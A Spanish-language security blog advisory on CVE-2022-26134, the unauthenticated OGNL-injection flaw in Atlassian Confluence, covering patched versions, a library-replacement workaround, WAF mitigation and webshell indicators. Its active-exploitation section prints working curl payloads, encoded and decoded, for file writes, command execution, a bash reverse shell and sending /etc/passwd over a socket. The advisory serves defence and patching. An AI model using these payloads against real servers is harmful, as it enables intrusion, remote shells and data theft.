Cabecera blog ciberseguridad

CVE-2022-26134. Vulnerabilidad Zero Day en Atlassian Confluence

- Oscar Mallo

La vulnerabilidad CVE-2022-26134 es explotable sin requerir autenticación

Recientemente, se ha identificado una vulnerabilidad de ejecución remota de código que afecta a productos Atlassian Confluence asignada con CVE-2022-26134. El fallo de seguridad es explotable sin requerir autenticación y está siendo explotado de forma activa.

Según los análisis iniciales, se trata de una vulnerabilidad de inyección de código (Inyección OGNL) similar a vulnerabilidades que han sido reportadas en otras ocasiones.

Productos afectados por la vulnerabilidad CVE-2022-26134

  • Atlassian Confluence Server.
  • Atlassian Confluence Data Center.

Según la información oficial publicada por Atlassian todas las versiones de Confluence Server y Data Center se han visto afectadas por la vulnerabilidad CVE-2022-26134.

Protección: Workarounds y parche de seguridad

Parche para la vulnerabilidad Atlassian confluence

Atlassian ha publicado las siguientes versiones que solucionan la vulnerabilidad: 7.4.17, 7.13.7, 7.14.3, 7.15.2, 7.16.4, 7.17.4, 7.18.1, recomendando la actualización a la última versión Long Term Release, la cual puede ser obtenida desde su centro de descargas. https://www.atlassian.com/software/confluence/download-archives

En caso no poder actualizar de forma inmediata se ha publicado un workaround temporal: Nota: Este workaround temporal todavía no ha sido probada de forma completa en versiones End Of Life (https://confluence.atlassian.com/support/atlassian-support-end-of-life-policy-201851003.html).

Workaround del CVE-2022-26134

Para versiones Confluence 7.15.0 – 7.18.0

Si se ejecuta Confluence en un cluster estos cambios deberán realizarse en todos los nodos.

1. Detener Confluence.

2. Descargar la versión actualizada de la librería xwork:

xwork-1.0.3-atlassian-10.jar – https://packages.atlassian.com/maven-internal/opensymphony/xwork/1.0.3-atlassian-10/xwork-1.0.3-atlassian-10.jar

3. Eliminar el siguiente fichero .jar del directorio de instalación de confluence:

/confluence/WEB-INF/lib/xwork-1.0.3-atlassian-8.jar

4. Copiar la nueva versión de la librería (xwork-1.0.3-atlassian-10.jar) en el directorio:

/confluence/WEB-INF/lib/

5. Verificar que los permisos y la propiedad del nuevo archivo xwork-1.0.3-atlassian-10.jar coincidan con los archivos existentes en el mismo directorio.

6. Iniciar Confluence.

Para versiones Confluence 7.0.0 – Confluence 7.14.2

Si se ejecuta Confluence en un clúster, se deberá repetir este proceso en cada nodo. No es necesario que detener todo el clúster.

1. Detener Confluence.

2. Descargar los siguientes ficheros en el servidor:

xwork-1.0.3-atlassian-10.jar – https://packages.atlassian.com/maven-internal/opensymphony/xwork/1.0.3-atlassian-10/xwork-1.0.3-atlassian-10.jar

webwork-2.1.5-atlassian-4.jar – https://packages.atlassian.com/maven-internal/opensymphony/webwork/2.1.5-atlassian-4/webwork-2.1.5-atlassian-4.jar

CachedConfigurationProvider.class – https://confluence.atlassian.com/doc/files/1130377146/1137639562/3/1654274890463/CachedConfigurationProvider.class

3. Eliminar los siguientes fichero del directorio de instalación de Confluence:

/confluence/WEB-INF/lib/xwork-1.0.3.6.jar

/confluence/WEB-INF/lib/webwork-2.1.5-atlassian-3.jar

4. Copiar el fichero xwork-1.0.3-atlassian-10.jar descargado en /confluence/WEB-INF/lib/

5. Copiar el fichero webwork-2.1.5-atlassian-4.jar descargado en /confluence/WEB-INF/lib/

6. Verificar que los permisos y la propiedad de los nuevos archivos xwork-1.0.3-atlassian-10.jar y webwork-2.1.5-atlassian-4.jar coincidan con los archivos existentes en el mismo directorio.

7. En el el siguiente directorio /confluence/WEB-INF/classes/com/atlassian/confluence/setup deberán realizarse las siguientes acciones:

7.1 Crear el directorio webwork

7.2 Copiar el fichero CachedConfigurationProvider.class en /confluence/WEB-INF/classes/com/atlassian/confluence/setup/webwork

7.3 Verificar que los permisos y la propiedad son correctos para el directorio:

/confluence/WEB-INF/classes/com/atlassian/confluence/setup/webwork

7.4 Verificar que los permisos y la propiedad son correctos para el fichero

/confluence/WEB-INF/classes/com/atlassian/confluence/setup/webwork/CachedConfigurationProvider.class

8. Iniciar Confluence.

Mitigaciones adicionales

El equipo de seguridad de Atlassian ha definido las siguientes soluciones temporales:

  • Deshabilitar o Restringir el acceso a instancias de Confluence Server y Data Center expuestas a Internet.
  • En caso de no ser posible la aplicación de la medida anterior, definir reglas a nivel de WAF bloqueando URLs que contengan la secuencia ${.

A nivel de bastionado de sistemas que ejecuta Confluence Server, se recomienda verificar que se ejecuta con un usuario con los mínimos privilegios, los paquetes del sistema operativo están parcheados y se ha reiniciado tras la última actualización para hacer uso de un kernel sin vulnerabilidades conocidas. Igualmente, un agente de EDR podría resultar muy beneficioso para detectar o prevenir explotaciones o posteriores elevaciones de privilegios.

Dado que ya se conocen los detalles técnicos del exploit y existe parche, es necesaria una acción de remediación inmediata.

Atlassian ya algunos parches para la vulnerabilidad CVE-2022-26134

Explotación activa de la vulnerabilidad CVE-2022-26134

Según los análisis del proceso de respuesta a incidentes ejecutado por Volexity el pasado fin de semana se identificó actividad maliciosa que afectaba a productos Attlasian Clonfluence Server. Este análisis ha sido verificado por rapid7, proporcionando un gran número de ejemplos de estos

Escritura de ficheros

Curl -v https://10.0.0.28:8090/%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22touch%20/tmp/pwned%22%29%7D/

Que ejecutaría el siguiente código:

${@java.lang.Runtime@getRuntime().exec(“touch /tmp/pwned”)}

Ejecución de comandos

El siguiente ejemplo de petición ejecuta el comando whoami y devuelve el resultado del comando en la cabecera X-Cmd-Response.

Curl -v https://10.0.0.28:8090/%24%7B%28%23ª%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23ª%29%29%7D/

Este payload es decodificado así:

${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(“whoami”).getInputStream(),”utf-8”)).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader(“X-Cmd-Response”,#a))}

Reverse Shell

curl -v https://10.0.0.28:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27bash%20-i%20%3E%26%20/dev/tcp/10.0.0.28/1270%200%3E%261%27%29.start%28%29%22%29%7D/

nuevamente, el código decodificado es el siguiente:

${new javax.script.ScriptEngineManager().getEngineByName(“nashorn”).eval(“new java.lang.ProcessBuilder().command(‘bash’,’-c’,’bash -i >& /dev/tcp/10.0.0.28/1270 0>&1′).start()”)}

Lectura del fichero /etc/password

curl -v https://10.0.0.28:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22var%20data%20%3D%20new%20java.lang.String%28java.nio.file.Files.readAllBytes%28java.nio.file.Paths.get%28%27/etc/passwd%27%29%29%29%3Bvar%20sock%20%3D%20new%20java.net.Socket%28%2710.0.0.28%27%2C%201270%29%3B%20var%20output%20%3D%20new%20java.io.BufferedWriter%28new%20java.io.OutputStreamWriter%28sock.getOutputStream%28%29%29%29%3B%20output.write%28data%29%3B%20output.flush%28%29%3B%20sock.close%28%29%3B%22%29%7D/

decodificado como:

${new javax.script.ScriptEngineManager().getEngineByName(“nashorn”).eval(“var data = new java.lang.String(java.nio.file.Files.readAllBytes(java.nio.file.Paths.get(‘/etc/passwd’)));var sock = new java.net.Socket(‘10.0.0.28’, 1270); var output = new java.io.BufferedWriter(new java.io.OutputStreamWriter(sock.getOutputStream())); output.write(data); output.flush(); sock.close();”)}

Ataques en proceso

El análisis de la vulnerabilidad CVE-2022-26134 en el contexto de las campañas actuales de explotación activa ha mostrado las siguientes actividades.

  • Ejecución inicial de código y creación de procesos hijos que invocan una Shell (bash y Python).
  • Escritura de webshells JSP a disco:
    • Sobreescritura de recursos existentes en instalaciones de Confluence Server, para incorporar una webshell. Concretamente el siguiente fichero:
      • confluence root>/confluence/noop.jsp
    • Despliegue de otras webshells para garantizar la persistencia de acceso a los sistemas comprometidos, entre las que se encuentra una variante de la webshell JSP China Chopper, la cual ha sido utilizada anteriormente por distintos actores maliciosos. [1][2][3]
  • Despliegue del implante open source Behinder para permitir desplegar web Shell en memoria (sin necesidad de escribir en disco) y con capacidades de interacción con meterpreter y Cobalt Strike.

La vulnerabilidad CVE-2022-26134 ha sido añadida al catálogo de vulnerabilidades explotadas conocidas recopilado por la agencia gubernamental estadounidense CISA (Cybersecurity & Infraestructure Security Agency).

Indicadores de compromiso (IOCs)

El siguiente enlace incluye los indicadores de compromiso basados en direcciones IP involucradas en la actual campaña de explotación, así como las reglas yara vinculadas al incidente.

• https://github.com/volexity/threat-intel/tree/main/2022/2022-06-02%20Active%20Exploitation%20Of%20Confluence%200-day/indicators

A continuación se detalla información de las webshells desplegadas en el contexto de la campaña analizada:

  • Recurso noop.jsp modificado.
Nombre del fichero noop.jsp
Tamaño del fichero 537 bytes
Hash MD5 f8df4dd46f02dc86d37d46cf4793e036
Hash SHA1 4c02c3a150de6b70d6fca584c29888202cc1deef
  • Variante webshell JSP China Chopper.
Nombre del fichero *.jsp
Tamaño del fichero 8624 bytes
Hash MD5 ea18fb65d92e1f0671f23372bacf60e7
Hash SHA1 80b327ec19c7d14cc10511060ed3a4abffc821af

Referencias